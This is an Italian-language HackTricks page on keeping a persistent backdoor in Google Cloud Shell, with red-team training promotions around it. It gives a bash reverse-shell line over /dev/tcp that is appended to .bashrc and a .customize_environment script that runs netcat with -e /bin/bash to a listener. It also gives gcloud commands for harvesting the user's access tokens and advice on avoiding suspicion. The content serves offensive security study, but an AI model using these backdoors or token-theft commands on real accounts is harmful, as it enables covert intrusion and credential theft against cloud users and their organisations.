GCP - Cloud Shell Persistence
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Cloud Shell
Per ulteriori informazioni controlla:
Backdoor Persistente
Google Cloud Shell ti fornisce accesso alla riga di comando alle tue risorse cloud direttamente dal tuo browser senza alcun costo associato.
Puoi accedere al Cloud Shell di Google dalla console web o eseguendo gcloud cloud-shell ssh
.
Questa console ha alcune capacità interessanti per gli attaccanti:
- Qualsiasi utente Google con accesso a Google Cloud ha accesso a un'istanza di Cloud Shell completamente autenticata (anche gli Service Accounts, essendo Proprietari dell'organizzazione).
- Tale istanza mantenere la sua home directory per almeno 120 giorni se non si verifica alcuna attività.
- Non ci sono capacità per un'organizzazione di monitorare l'attività di quell'istanza.
Questo significa fondamentalmente che un attaccante può mettere una backdoor nella home directory dell'utente e finché l'utente si connette al GC Shell almeno ogni 120 giorni, la backdoor sopravvivrà e l'attaccante otterrà una shell ogni volta che viene eseguita semplicemente facendo:
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
C'è un altro file nella cartella home chiamato .customize_environment
che, se esiste, verrà eseguito ogni volta che l'utente accede al cloud shell (come nella tecnica precedente). Basta inserire la backdoor precedente o una simile a quella seguente per mantenere la persistenza finché l'utente utilizza "frequentemente" il cloud shell:
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
warning
È importante notare che la prima volta che viene eseguita un'azione che richiede autenticazione, appare una finestra di autorizzazione pop-up nel browser dell'utente. Questa finestra deve essere accettata prima che il comando possa essere eseguito. Se appare un pop-up inaspettato, potrebbe suscitare sospetti e potenzialmente compromettere il metodo di persistenza utilizzato.
Questo è il pop-up dall'esecuzione di gcloud projects list
dalla cloud shell (come attaccante) visualizzato nella sessione utente del browser:
.png)
Tuttavia, se l'utente ha utilizzato attivamente la cloudshell, il pop-up non apparirà e puoi raccogliere i token dell'utente con:
gcloud auth print-access-token
gcloud auth application-default print-access-token
Come viene stabilita la connessione SSH
Fondamentalmente, vengono utilizzate queste 3 chiamate API:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (ti farà aggiungere la tua chiave pubblica che hai creato localmente)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (ti farà avviare l'istanza)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (ti dirà l'ip del google cloud shell)
Ma puoi trovare ulteriori informazioni in https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
Riferimenti
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.